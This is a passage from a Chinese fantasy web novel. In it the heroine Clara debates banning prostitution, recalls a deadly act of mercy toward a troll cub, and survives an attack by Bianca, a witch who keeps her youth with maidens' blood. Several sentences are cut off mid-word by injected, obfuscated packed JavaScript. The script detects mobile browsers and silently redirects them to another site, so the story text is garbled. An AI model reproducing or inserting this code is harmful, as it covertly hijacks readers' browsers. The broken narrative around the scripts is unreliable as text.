“克劳拉,在巨大的利益面前,即使我不去做,也会有别人做。”艾洛薇也放下茶壶,神色郑重, “到不如被我掌控在手里,至少我还有底线,限制每人每天限购的数量。” “包括你说的娼妓行业,你以为我取缔后,帝国境内就没有其他人在做吗?克劳拉,你要做的不是天真地以为强权可以让这些全部消失,而是想办法把损失降在可控范围。” 克劳拉双手撑在桌面,微垂头深呼气。艾洛薇说得没错,即使她明面上取缔了这个产业,但她管不住那些女人下班后会去做什么,管不住其他人又会怎么对待这些曾经做过这行业的女人。 说到底还是女人能做的事太少了,让她们能够像男人们一样在各行各业都能站住脚,拥有自己的钱,做这种工作的一定会减少很多。 “你又错了克劳拉,”艾洛薇看出了她的挣扎,“如果可以不努力就能拿到钱,大多数人会选择那条路。对许多走投无路的女人来说,这是最轻松,不需要太多成本的工作了。” “如果真的这么轻松,那男人们为什么不去做。”克劳拉反驳她,她一字一句道, “我不管你说我天真也好,愚蠢也好,□□易产业必须被严令禁止!我会将这些写进法案里,严格执行。既然德林郡可以做到,那帝国范围内也能做到。” “不需要太多成本的工作有很多,哪怕做织女、食品工厂职员、厨娘等等。只要岗位够多,钱也属于她们自己,我不信这些女人还是非得走上这条路。” 艾洛薇深深凝视着她,她其实并不理解克劳拉非要拯救这些不思进取的人的理由,费力不讨好,还会被背刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那是一个冬夜,巨魔绕开了防线,进入了北部的一座小村庄,村庄里人并不多,几十户人口,百来人。 克劳拉和塔率领军队及时赶到,村庄损失并不重,只重伤了几位村民。 但在剿灭巨魔时,巨魔队伍里发现了一个幼崽——确实是幼崽,它被已经死亡女巨魔紧紧护在怀中,还不及克劳拉高。 她已经不记得当时的心情、脑中的想法,只能回想起,她不顾士兵的阻拦,将巨魔幼崽放回了山脉。 一周后,那座小村庄被屠杀殆尽。被她放走的幼崽带着族人绕开军队,回来报复。等军队追上它们时,悲剧差点在另一村落上演。 没有人指责克劳拉,因为她是统帅,下属只需要遵从她的命令。但因为她错误的决定,导致上百人死亡。 克劳拉亲手杀死了那只巨魔,又安葬了领民。 但接下来整整一个月,她梦里都是村庄里散落的四肢,村民残破的躯体,巨魔嘴边的鲜血与肆意而仇恨的眼神。 她没办法接受几天前还在和她言笑晏晏的村民,就因为她一个心软的念头,全都不复存在。 国王永远是正确的。她此时才明白这句话的分量,它是权力更是枷锁。国王必须做出正确的决定,否则将会有成千上万的生命为这一决定买单。 克劳拉无法做到对这些死亡视而不见听而不闻。 她花了半年时间才走出错误决定造成的死亡阴影。 将这件事重新剖开展现在艾洛薇面前,对她来说十分艰难。断断续续说了很久,时不时就要停下来整理情绪。 她如今想起双手仍在颤抖,闭眼就是村庄的惨状。 “所以洛薇,你懂吗,我必须谨慎再谨慎。烟草这件事上我们各退一步,你减少供应,至少在完整法案下达前,不要大规模普及帝国境内。” “好。”艾洛薇轻声允诺。 她依旧无法理解克劳拉因为平民而悲痛,为他们的死亡买单。 甚至她开始犹豫,克劳拉成为国王后,会不会被重负压垮。因为她的私欲,将克劳拉推上这个位置,到底是否正确。 “克劳拉,你可以说停止。”她说,“你完全没必要承担这些。” 比起克劳拉的痛苦,艾洛薇更喜欢她最初无忧无虑笑着的样子,而不是每天都在为无谓的人奔波苦难痛苦。 “只要你说停下,你仍然可以在德林郡过上你喜欢的生活,和你的那些骑士一起。” 克劳拉握住她的手一紧,她目光坚毅,“我不会停下。” “权力近在咫尺,再多重负,我都要走上去。” 85. 第85章 当天她还艾洛薇聊了各种事,包括教会在西亚尔玛的所作所为,和阿方索的交易。 她还犹豫着将后院那些草药告知给艾洛薇。 但艾洛薇并不意外,“你不知道吗,玛丽的所作所为,去问大巫吧。” 她做不到像克劳拉那样,剖开自己的痛苦记忆,让大巫去告诉克劳拉。 最后克劳拉问了古斯塔那位未婚妻的事。 碧安卡,古斯塔的未婚妻,出生自诺兰郡一位男爵家,和古斯塔年少订婚。结果在她成年之际,未婚夫悔婚迎娶了公主。 “那是一个有手段的女人。”艾洛薇很少肯定赞扬别的人,“光从她能牢牢把握住两个男人的爱就能看出。” 即使古斯塔没有迎娶她为王后,但也一直和她保持情人关系。继子温斯顿对她尊敬有嘉,名下还有一儿一女。 为了稳住古斯塔,她甚至不惜将女儿送进宫中,成为王后。 这一点让克劳拉觉得十分不适。她怀疑和黑巫师合作的并不是莱文,而是莱文的母亲,碧安卡。 “有意思的猜测。你为什么这么觉得?”艾洛薇放下茶杯的动作有些重,茶杯磕在木桌上,发出一声沉闷地响声。 “黑巫师并不在意莱文的生死,而且伊丽莎白来得太快了。事后的反应也不太正常……” 她细心描述了那晚莱文和黑巫师的反应,隐瞒了黑巫师对她说的话。 “我知道了,所以你要亲自去见那位黑巫师?” “傻子才一个人去,我会和大巫商议。” 艾洛薇若有所思,已经快到用餐时间,她便不再多谈,直接吩咐吩咐后厨为她们准备晚餐,在咖啡厅二楼用完餐后,才将克劳拉送回家。 她们离开时,咖啡厅一楼远比开始更加烟气缭绕。 “咖啡厅还算安静了,酒吧那边的男人们还要喝酒。” 光听艾洛薇这么说,克劳拉就能想象酒吧那副喧闹嘈杂的画面,男人们喝得面红耳赤,嘴里边吞云吐雾,边吐露粗俗的话语。 想象中的画面就让她厌恶。 抵达伯爵府后,克劳拉与艾洛薇拥抱一下,就要下车离开。 艾洛薇忽然说:“你怎么知道没有男人做那种事。” 在克劳拉没有反应过来前,一把关上了车门,马车迅速行驶离开,消失在夜色中。 克劳拉:就算有艾洛薇怎么知道? “做什么事?”安娜疑惑。 “小孩子少操心这种事。” 她明明和小姐差不多年龄,安娜嘟囔。 达索琳当晚并没有回复克劳拉,两天后的清晨,她出现在了伯爵府的餐厅里,端庄优雅的用着餐。 穿着睡袍的伊登一进餐厅差点被吓死,还好不是菲米娅。 “克劳拉呢?”达索琳仅仅是瞥了一眼他的装束,没有多言。但回德林郡后找菲米娅交流一下伊登的礼仪的问题未尝不可。 “若拉在晨练。”执事替他摆好餐具,铺好餐巾,伊登坐下后才询问起达索琳的来意。 “来灭虫。” 达索琳的回答让他一头雾水,王室园林的那点草木问题似乎已经解决了吧,又出现了新的虫害吗? “你的功课做得怎么样?上次的作业照抄克劳拉的答案,我让你补做20道,完成了吗?” “……大巫,等我回德林郡……好的我马上做。” 等克劳拉晨训换好衣服和塔来到餐厅,就见到伊登垂头丧气离开。 满头雾水的克劳拉转头就看到了达索琳,立刻将伊登抛之脑后。 “大巫!您怎么又亲自来了。” “臭虫要叮咬我的学生,不过来一趟怎么行?” 这是来帮她收拾黑巫师了,克劳拉放下心来。三天后就要离开王都了,本来她也打算在两天后才去见一见那个黑巫师。 莱文似乎已经醒过来,但什么都没有乱说。克劳拉早猜到这家伙虚得很,只是黑巫师推出来的靶子,不过碧安卡这个态度,真的让克劳拉怀疑莱文真的是陛下的孩子吗? 阿方索紧急返回圣城了,下次见面他多半就会成为索滋帝国的红衣大主教,比原定剧情里提早了几年。 看来她某种程度上还是影响了一部分剧情。 这两天她还去探望了海伦女校的老师们,未来她的计划还需要这些老师伸出援手。 餐后,克劳拉带着达索琳和安娜来到后花园,等待达索琳为她解答玛丽的事情。 安娜并不了解玛丽,在她成为女巫时,玛丽就已经离世了,她心中也十分好奇这位王后。 “玛丽确实使用了禁咒,”达索琳只将当年的真相揭露了一角,讲给克劳拉。 “她违背巫师誓约,诅咒了古斯塔?”克劳拉问。 “若仅是这样,还不至于让她丧命。”达索琳道,“她诅咒了所有拥有古斯塔家族血脉的人,除了她的孩子安德鲁之外,古斯塔家族终生不再有任何新血脉诞生,因此遭到反噬死亡。” 克劳拉简直被玛丽这一操作震惊了,她不仅诅咒了古斯塔国王本人,所有和古斯塔沾亲带故的人全都不能诞生后代。 这是彻底将王位绑死在安德鲁身上,只要安德鲁活着。 如果是这样,克劳拉脱口而出:“莱文不可能是陛下的孩子!” 在剧情里,莱文和她还拥有两个后代。如果莱文真是古斯塔的亲生子,他就不应当有任何后代。 瓦兰许夫人掌握的把柄是否和这个有关。 克劳拉立刻写了封便信,让安娜即刻给艾洛薇送去。 除此之外,达索琳又为她带来另一个震惊的消息——与奥菲帝国打仗的东方人退兵了。 剧情再度提前了,原本东边人至少要一年后才撤军,这也意味着疫病灾难也会提前到来。 “大巫,我们要做好准备了,灾难要来了——” 因为剧情提前,克劳拉想立刻回到德林郡早做准备。不过在此之前还是要解决掉那名黑巫师。 一天后,她与带着化作夜莺的达索琳与伊登一同来到温斯顿公爵府拜访。 这是她首次来到温斯顿公爵府,意外的这里并不像是一个公爵的府邸。整体风格偏素雅低调,不像其他贵族府上那样满是金碧辉煌的装潢。 抵达府上,夜莺展翅一振飞走,朝着后院而去,克劳拉没有阻止。 公爵府的管家迎见了两位客人,“阁下在会客厅等待二位。” “我是来见老夫人的,正是她邀请我来的。”克劳拉直接了断开口。 管家略一犹豫,他并没有收到相关通知,他请两位稍等片刻,当即唤来女仆让她去询问碧安卡夫人。 但在女仆回来前,他还是躬身邀请两位前往会客厅。 有几年没面对面与霍恩·温斯顿本人会谈了,克劳拉对他的印象还停留在那日他那令人厌恶的傲慢上。 但在伊登面前,他表现得像位正经绅士,他伸手示意两人坐下。克劳拉心下撇嘴,还说伊登双面人呢,温斯顿本人不也这样。 他与伊登简单寒暄几句,终于转向克劳拉,“许久不见,克劳拉小姐。” “许久不见,温斯顿阁下。”克劳拉微扯嘴角与他客套。 “来说正事吧。”温斯顿上身微微前倾,面色凝重,“莱文·温斯顿做了什么。” “怎么,你不知道他的丰功伟绩啊?”伊登阴阳怪气。 温斯顿和弟妹的关系一般,与继母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254630|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的关系更谈不上好,面对伊登的嘲讽,他并没有发怒,而是严肃询问莱文具体做了什么。 伊登立刻将他和克劳拉在领地遇刺和强盗抢劫领民的事全盘托出,理所当然地夸大了其中的细节,还有他联合教会三番五次指控克劳拉,在伊登口中莱文简直罪不可赦。 “那天的事说和莱文没关,我可不信,若拉向来安静乖巧从不惹事。鉴于莱文那家伙有前科,那天肯定又是他联合你妹妹还有教会想整次大的,没想到提前被克劳拉识破了。” 在他侃侃而谈时,克劳拉淡定地喝茶,似乎遭遇这些的都不是她。 温斯顿手撑着下巴,面带愠色听完,尽管他对于伊登口中的克劳拉不置可否。 半响他道:“我怎么听莱文说,是克劳拉小姐用恶魔之弩射伤了他。” “霍恩·温斯顿!”伊登重重将茶杯放在桌上,水溅出桌面,“用恶魔弓弩的家伙到底是谁,你以为我在和你开玩笑吗?我差点被弩箭穿心而死!这些来德林郡调查的阿方索主教都进行了详细的记载——你敢质问你弟弟,他和教会没有一丝一毫关联吗?” 而克劳拉端着茶,仪态端庄,声音低柔,“阁下,我只是一位普通的贵女,最多挂着安德鲁未婚妻的名头,你认为我从哪弄到被教会管控的东西?” 兄妹两一个唱红脸一个唱白脸,温斯顿不知到底该信他们还是莱文,沉默良久,才问道:“你的伤没事吧?” “死不了。”伊登冷笑,“你们温斯顿家不满若拉和安德鲁订婚就早说,德文希家也不是非嫁入王室不可。” “安德鲁的事,我不会插手,是他选择了克劳拉。”温斯顿微微一滞,“你说的那些事怎么都没在信里提起过。” “没必要,谁知道你会不会觉得我污蔑你的好弟弟。” “我会查清楚,一旦属实,我不会包庇莱文,但伊丽莎白应该是无辜的……” 扣门声打断了温斯顿的话,管家得到应许后入内道:“夫人要见德文希小姐。” 闻声,温斯顿看向克劳拉,又转而看向伊登。 “先失陪了,公爵阁下。”克劳拉扬起唇,朝他行礼,不等他回答就抬脚离开,在管家的指引下前去找碧安卡。 伊登也一转之前激烈的态度,变得温和,“霍恩,我们去你的练武场吗?” 温斯顿哪里还不明白,眼前两兄妹来拜访他不过是幌子,他们的目标是碧安卡,但目的又是什么? 公爵府的后花园开满了纯白的百合,浓郁的花香扑面而来。 明明是纯洁美好的花,克劳拉却觉得有几分诡异,就好像这些花在看着她般。 管家没有继续往前,她独自一人继续深入。 周围实在太安静了,白日里哪怕没有人,也会有鸟鸣风声众多声音,但这片花园仅仅是死寂,除了她的呼吸声没有任何声音。 克劳拉侧头四处打量着,在一颗树上上发现了达索琳的踪影,这让她心中的不安褪去了几分。 太安静仿佛感觉不到时间的流逝,克劳拉也不知道自己走了多久,终于在花海之中望见了陌生的人影。 听到脚步声,那人慢慢直起身,银色的长发就像月光般从她肩头划过。她转头望过来。 克劳拉呼吸一窒,如果说蒂斯萝丝的容貌像太阳般耀眼,眼前女人则如月如雪,一切纯洁美好的事物都汇聚在她身上般。 完全不像是孕育了一双儿女的母亲,更像是位天真无暇的少女。 “你好。”她的声音也如泠泠月光般清冷,“克劳拉小姐。” 但她身后骤然出现的黑巫师破坏了这份美好。 看来她猜对了,克劳拉想,眼前的女人才是黑巫师真正的合作者。 86. 第86章 “您好,温斯顿夫人。”克劳拉谨慎地站在原地。 “叫我碧安卡就好,我并不喜欢谁的夫人这一称谓。”碧安卡微微一笑,她笑起来时像冰雪消融,见过这抹笑容的人都难以对她生起戒备之心。 将新采的花慢条斯理地插入花瓶中,她柔声道:“来这边坐吧,克劳拉小姐。” 黑巫师就像幽灵,不远不近缀在碧安卡身边,但他似乎并没有发现达索琳的存在。 克劳拉抬脚走进花海,在桌边坐下,“按照约定我来了。这位黑巫师,也该说说你到底想做些什么了吧。” 那天晚上,黑巫师告诉她不久后安德鲁会像古斯塔一样撕毁婚姻,而她会沦为王都的笑柄,在她落入低谷时只有莱文向她伸出了援手。 这些都是克劳拉早已知道的剧情,所以她压根没什么感觉。唯一奇怪的是黑巫师是怎么知道的,还不忘美化莱文。 她可没忘莱文那句——不能娶她就要杀了她。 “莱文给你添了很多麻烦,我向你道歉。”碧安卡轻轻柔柔为克劳拉端茶,摆好点心。 她这张脸太具有迷惑性了,几句话就让克劳拉不知不觉放下戒心。 克劳拉暗中掐了把自己,眼前可是和黑巫师合作的人,而且还几次想陷害她。 “我不喜欢兜弯子,而且我很忙。两年前你们在德林郡惹出一堆麻烦,还差点杀死我和伊登。” 她没有碰眼前的茶水和点心,也不想被碧安卡牵走话题, “您身后这位黑巫师还对我进行监视、下咒,三番五次试探我的底线。那天又是说一堆莫名其妙的话,又是指控我。直说你们的目的到底是什么?” 碧安卡微微一愣,“可是暗杀你的人不是教会吗,至于你身边的麻烦也是因为身边人心智不坚定,和我们又有什么关系呢?” 克劳拉蹙眉,没有立刻出言反驳,她不相信黑巫师和圣城没有联系,况且下咒也是事实。 见她岁沉默不语,但气势不减,碧安卡也逐渐敛去笑容,道:“在此之前,我想要询问克劳拉小姐您一个问题——你到底是不是女巫?” “我不是。”克劳拉直言不讳。 “那是我们弄错了,很抱歉,以后我们不会再针对你,还请放心。那些话就当是对你的忠告吧,古斯塔一家都不是什么好东西。” 碧安卡又展露出了柔美的笑容,轻飘飘地向克劳拉道歉。 这种不上不下的感觉,让克劳拉觉得像一拳打在了棉花里,对方这种敷衍的态度实在让她难受。 “那莱文说的那句话又是什么意思?” 不知道她在说什么的碧安卡,侧首看向身后的黑巫师。 一直沉默着当背景的黑巫师,终于开口,他的声音嘶哑难听,像是生锈的金属,“我告知过您,与克劳拉·德文希结婚,莱文才能成为国王,否则秘密被发现,之后死亡。” 碧安卡和克劳拉皆是一愣。碧安卡仿佛刚才从记忆里搜寻出这件事般,轻咳几声,“是吗?” 而克劳拉更是疑虑,剧情里莱文和她结婚后也没有成为国王啊。 “既然这样,克劳拉小姐,你愿意嫁给莱文吗?反正王子殿下也不会娶你,换个结婚对象一样能成为王后,很合算不是吗?” “?”克劳拉不太理解事情怎么发展成这样。 “不过我希望莱文能够拥有女巫的的后代。你不介意莱文和德林郡的女巫们孕育一个后代吧,这对你来说并没有任何损失。” 疯了吧,克劳拉一时分不清到底是碧安卡不正常,还是这个世界都不正常。 “我拒绝!我不打算和莱文结婚,更不可能让他染指我的女巫——而且莱文不是古斯塔的后代,绝不可能成为国王。” 碧安卡沉下脸,手中的杯子落到地上,她又狠狠将花瓶也扫在地上,纯白的百合落在地上的瞬间居然变成一片血红。 在她身后的百合花海,也逐渐被红色侵染,天瞬间就阴沉下来,空气中弥漫着黑色的雾气。 这些都发生在几个呼吸间,克劳拉完全没反应过来,世界就天翻地覆。 “成为王后有什么不好?”碧安卡阴冷地质问她,她的银发无风浮动,清冷的容颜也不复之前的纯洁美好。 黑色纹路蔓延上皎洁的脸庞,银色的眼瞳也染上猩红。 眼前木桌被她的锋利如刃的头发劈成两半,茶水点心落到地上立刻冒出黑色的烟雾。 随即这些发丝如利刃般朝克劳拉射来。 “伊丽莎白也不想当王后,你也不想当王后——” “那您为什么不当?”克劳拉一边灵活躲避她的发刃,还不忘讽刺。 她举起椅子朝碧安卡砸去,椅子四分五裂的瞬间,转身就往外跑。 幸好今天明智地穿得小皮靴,克劳拉从袋中掏出弓弩,又拿出长剑。反手挡下朝她疾驰而来的发丝,举起弓弩连射几箭,都被挡下。 碧安卡甚至在原地没有动弹,只有她铺天盖地的头发朝克劳拉袭来,但光是这样就已经让克劳拉疲于应付。 这才是真正的魔女吗。 “我要将你做成人偶——”碧安卡阴森森地道。 黑巫师贴心地补充,“阁下,诅咒对她不起任何作用。” “那就让她成为花肥,滋养我的小可爱们——” 脚下的花丛也如有生命般蠕动着,这下克劳拉不仅要应对这些锋利的发丝,还要担心脚下扭动的荆棘。 但她这两年训练可不是做游戏,虽然受了些伤,但克劳拉还是理智且灵活地在花田里游走。 这里看起来已经不是公爵府,闹出这么大动静没有任何人注意到。而且自己跑这么远理应能看到花园出口,以及大巫曾经站立的那棵树,如今都不见踪影。 克劳拉表面冷静,内心疯狂呐喊:大巫!!!救救救—— “你居然还有心情走神!”碧安卡的声音近在耳边,克劳拉猛地回头就对上了那张妖冶而又冷酷的脸。 全身都在叫嚣着危险,但此时已经无法避开,她能做的只有竭力侧身避开要害。 去铁般锋利的银白发丝瞬间贯穿她的左肩膀和右胸。 剧烈的疼痛让克劳拉眼前发黑,耳鸣目眩,短暂失去了意识。 同一时刻,和雪鸮骑士训练的塔手中长枪一抖,身形微滞,立刻被对练的骑士发现破绽挑飞他的胸口的布巾。 “耶!我赢了塔!”连输十次的年轻雪鸮骑士举臂欢呼。 隐在盔甲里的塔看不出神色,旁人也不知道他怎么突然落败。塔拉着缰绳走近些,语气略带些急切,“希姆大人今天去哪了?” 被问到的骑士挠头,主家没有必要向他们汇报行程,何况今天是兄妹两和达索琳一起出的门,有女巫在谁会担心两位阁下的安危。 但塔的焦急与凝重不似作伪,这种情况,只有可能是阁下受伤了。 “恐怕得去问安娜……” 紧接着在众目睽睽之下,塔穿戴着的锁子甲,从内部渗出鲜血。塔仅闷哼一声,立刻勒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你醒了?”碧安卡微微一笑,又加大了搅动的力度,还有一缕发丝逐渐指向克劳拉的心脏,“死之前你还有什么想说的吗?” 喉咙涌上的血让克劳拉止不住咳嗽,疼痛又让她意识和视线都在被黑暗吞噬,但她咬着舌尖,保持清醒,口中拖延着时间,“你,为什么,不自己当王后?” 碧安卡这次没有暴怒,她面露疑惑,“我为什么要进到那座囚牢里去?在公爵府同样能享受王后的权利,还自由自在不好吗?” 克劳拉忽然理解了伊丽莎白为什么恐惧了——有这样一位母亲,只顾自己不管她死活,说不定伊丽莎白还见过碧安卡这副模样。 “你,到底,想要什么?” 或许是觉得克劳拉肯定会成为她的花肥了,她百无聊赖道:“据说只有女巫才能保持容颜不老,但我不是女巫——别误会,这幅模样是用了些其他手段,时不时需要少女的鲜血维护,你的鲜血就很完美,可惜……” “所以呢,我要让莱文拥有女巫的后代,再将这些后代献祭给我,保我永生。” 碧安卡原以为克劳拉会是一位实力强大的女巫,三番五次想通过教会把她抓来,作为诞下祭品的工具,谁知道她居然不是女巫。 不过也无妨,克劳拉替她收容了数不清的女巫,她再也不需要四处搜寻女巫。 “你才是真正的魔女!”克劳拉一字一句道。 但碧安卡好心情地眯起眼,慢慢凑近克劳拉,伸手拂过克劳拉的胸口,“我真的很中意你的血,强大而有活力,就像你的母亲——” 克劳拉瞳孔一缩,但她来不及深思碧安卡的话,咬牙忍住伤口撕裂带来的痛入骨髓感,狠狠将手里的东西泼在了碧安卡脸上。 飞扬的发丝迅速从她身体撤离,她跌落在地上。 而碧安卡连连后退几步,捂着脸发出刺耳的咆哮, “圣水!你怎么会有圣水!” 87. 第87章 幸好她出于好奇从阿方索手中弄来了瓶圣水,只是看碧安卡的样子,圣水对她的影响并不大,只是让她的脸微微腐蚀。 但这对十分注重容貌的碧安卡算是致命打击,她厉声道:“阿尔蒙!杀了她!” “抱歉,我……”黑巫师话音未落,就被克劳拉穿心刺伤。 黑巫师化作一团黑雾飘出,袍子失去人体支撑很快落到地上。成团的黑雾浮动着笼罩在碧安卡身旁。 克劳拉手执着剑,全力劈向碧安卡,既然逃不走,那就杀掉她! 连着几剑都被发丝挡下,碧安卡珍惜地拿出猩红的液体,旁若无人的涂抹在受伤的脸上。 很快液体被吸收,她的肌肤开始恢复,又变回无暇雪肤,瓶中的液体也只余薄薄一层。 在她沉浸于修复自己脸时,克劳拉注意到原本血红阴沉的天空,逐渐被蔚蓝晴空取代。 “我要将你大卸八块!”碧安卡的怒吼伴随着清脆的玻璃破碎音。 来势汹汹的尖利银发冻结在克劳拉眼前,无法再前进一丝一毫。 是大巫!克劳拉心一跳,欣喜地转头。 达索琳口中吟诵出复杂的巫言,巨大的法阵于几人脚下亮起。 黑雾冲向达索琳,试图阻止她,但无济于事。 在一片辉光中,克劳拉感觉黑雾淡了不少。 眼前的血色百合逐渐燃烧起来,火势迅速扩散,但克劳拉没有感觉到灼烧感,看来只是针对这片奇怪的花海。 碧安卡在满天的橘色中,一改之前的歇斯底里,反而很平静。 达索琳手中的魔杖瞬间变长,足足有一人高,她朝着碧安卡疾驰而去,手中长仗猛地挥出—— 但依旧没有赶上,两人注视下,碧安卡化作黑雾消散在火光中。 “让她跑了。”达索琳难得语气带了愠色,“王都之中居然隐藏着如此强大的黑巫师。” 她回到克劳拉身边,“抱歉,起初没发现结界,等发现时已经迟了,让你受伤了。” 说着她抬手就要施放治疗术,但克劳拉阻止了她,她的伤口已经好得差不多了,只是有些竭力而已。 塔又救了她一命。 燃烧的花园终于引起的公爵府下人的注意,暮色中燃烧染红的橘色天空也引起的王都人的注意。 拾起弓弩藏好,克劳拉与达索琳缓缓往花园外走去。 “她说,她要献祭拥有女巫血脉的血亲永保容颜。”克劳拉简短地将碧安卡的话告知给达索琳。 “我知道了。”达索琳当即回想所有禁咒。 花园外人声鼎沸,侍从们从井中运来一桶桶水,泼向燃烧花园,但这些火丝毫不惧怕水,全然不见熄灭的势头。 伊登和温斯顿终于闻讯赶来。管家正嘶声指挥人救火,他不断擦拭着额角的冷汗,见到两位阁下,他差点屈身跪下。 “这是谁的花园……”伊登半响才开口问道,他的声音沙哑,隐隐有预感。 温斯顿的回答,打破了他的幻想,他沉声道:“……是碧安卡的。” 身边人就像利箭般瞬间冲出去,温斯顿只能立刻高呼骑士拦住伊登。 这么大的火,伊登进去也不过是送死罢了。 身后有骑士小跑来而来,温斯顿看一眼被四五位骑士牢牢拦下的伊登,转头询问什么事。 “殿下的狮鹫骑士与伯爵阁下的骑士在府外。” 温斯顿神色莫名,他都是才刚得到起火的消息,安德鲁为何来得这么及时。不过也无济于事,克劳拉·德文希和碧安卡多半已经烧死在火中。 “领他们进来。” “伯爵阁下!”骑士们的惊呼又将他的注意力引走。 众多骑士都没能拦下伊登,他义无反顾地扎进大火之中,但很快他发现了不对,停在了花园门口。 追上他的骑士见他驻足,又想将他往回拉。 他却呢喃,“不对,太不对劲了,你们不觉得,这火一点也不烫吗?” 被他这么一说,骑士们才反应过来,往常大火伴随着高热,但花园这场火他们丝毫感觉不到灼热,温度依旧适宜。 伊登甚至伸出手触碰这些燃烧着的百合,骑士们惊呼都没来得及发出,却见他的手全然没有被灼烧的痕迹。 耳边忽然传来草丛的窸窣声,伊登与骑士们巡声望去,后者纷纷摆出戒备的姿态。 用剑将脚下的草丛拨弄开,克劳拉从火中缓缓走出。为了避免误会,达索琳又化鸟失去踪影,只留她一人走完剩下短短的路程。 到花园入口也就几分钟的距离,但她在结界中跑了很久,如今终于看到了出路,以及在出口傻愣着的伊登。 她的衣裙被碧安卡弄得残破不堪,还有大量的暗红浸在衣服上,安娜精心为她盘好的头发也散乱地披在肩头。 脸色惨白,嘴角也残余着血色,怎么看怎么狼狈。 用残余的力气将剑收回鞘中,拖着沉重的步履走到伊登面前,克劳拉一头栽进他怀中。 “若拉?” “嗯。”她实在没有力气回应,抵在伊登肩头,从鼻腔发出气音。 伊登仅虚虚地环着她,因为她背上也全是暗红,他无从用力。 靠在熟悉的怀抱里,克劳拉终于放松下来,垂下眼,贴在伊登耳边,道:“碧安卡才是魔女。” 说罢,她放心地让自己昏睡过去,朦胧中她听到一阵马蹄声。 克劳拉的声音并不小,周围的骑士都听到了,但碧安卡毕竟是他们的女主人,他们不会轻信克劳拉的一面之词。 确认这些火并不会伤人后,他们试探着进入花园中。 “究竟发生什么事了?”安德鲁和他的铁骑终于来到了这座火场。 克劳拉在第二天就醒来了,才从安娜口中得知昨日塔带领骑士们去了公爵府。 这倒没让她意外,只是塔居然没有在她醒后第一时间来见她。 “他在门口站着不愿意进来。”安娜替她缠上绑带,为了防止他人发现她的伤口已经愈合。 安娜忍不住絮叨,“小姐,您应该更爱惜自己身体一点,您每次受伤都会牵动多少人的心。” 克劳拉也不想啊,谁知道碧安卡会是黑巫师,而且远比莱文身边的强得多。 不过她确实应该少受些伤,毕竟因为伴生契约,她的伤口都会很快转移到塔身上,甚至致命伤也会牵连塔。 克劳拉头疼地揉额角,只在伊登进入房里时,从打开的门中瞥见了塔伫立在门外的身影。 而那道身影执拗地不愿意进入房内。 络绎不绝的客人拜访伯爵府,想要从她口中探听消息,都被伊登敷衍离开。 只有艾洛薇和安德鲁被请进了府中,克劳拉也不知道他们是约好了一起来,还是正巧撞上了。 总之如今艾洛薇坐在她床边嘘寒问暖,而安德鲁和伊登坐在不远处。 塔例行站岗,守在门口,原本不该值班的莫兰特非跑来凑热闹,和塔站在一起,一左一右守着大门。 “你不是也受伤了吗?不休息还跑来值守,是担心阁下安危还是担心别的,我懂,殿下毕竟是阁下的未婚夫……” 莫兰特嘀嘀咕咕说了大堆,但身边人眼神都没有分给他一个,到是安娜给了他一个警告的眼神。 他又自讨没趣闭上嘴——阁下身边怎么都是些闷葫芦,多无聊啊。 “所以碧安卡是魔女,逼迫你嫁给莱文,被拒绝后就要杀了你?” 艾洛薇简直不敢想,要不是达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282199|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索琳陪在克劳拉身边,如今就已经葬身花海了。 克劳拉道:“对,莱文不是陛下的后代,这个秘密被发现了,所以她想灭口吧——说起来瓦兰许夫人似乎病了?” 她将碧安卡用少女鲜血保持年轻,想要献祭血亲的事情全盘托出,隐去黑巫师的话,只说碧安卡误会她是女巫。 听完后房间一片沉寂,谁也想象不到王都中居然隐藏着如此可怕的魔女,而这位魔女还和陛下牵扯不清。 “所以碧安卡现在人在何处?”安德鲁感觉克劳拉隐藏了一部分事实,她是如何从碧安卡手中逃出来的,这场不会熄灭的大火又是怎么回事。 克劳拉摇头,她并不知道碧安卡的去处,达索琳和安娜正在附近搜寻,只能等她们的消息。 一直沉思着的艾洛薇忽然道:“安德鲁,你记得玛丽曾提到过的女巫失踪事件吗?” 安德鲁自然记得这件事,那是十多年前的事了,王都猎巫相对激进的一段时间。 以往被指控为女巫的大都为上了年纪的妇女或是寡妇。但那段时间被指控为女巫的几乎全是不到20的少女。而让平民确信她们绝对是女巫的理由,正是这些少女被烧死后,十字架上什么都没有余下。 没有尸首没有残余,就像灰飞烟灭一般。 直到玛丽以王后的身份出面阻止了这场猎巫运动。 如果这些少女并没有被烧死,而是被黑巫师以特殊的手段传送走了,成为了碧安卡的养分。 “除此之外,”艾洛薇提起了另一件事,“也和克劳拉你们有关,记得你之前向我询问你们母亲的事。当年医者协会在王都大肆使用一种新型的接生手段……” 这导致了王都众多孕妇难产而亡,这件事克劳拉已经知晓。 “但,这些死去的婴儿,这些哪怕母体死亡也要被剖出来的婴孩的尸首,究竟去哪了?” 在场几位只觉得毛骨悚然,如果这些少女和婴儿真的都被碧安卡带走献祭,那她简直十恶不赦。 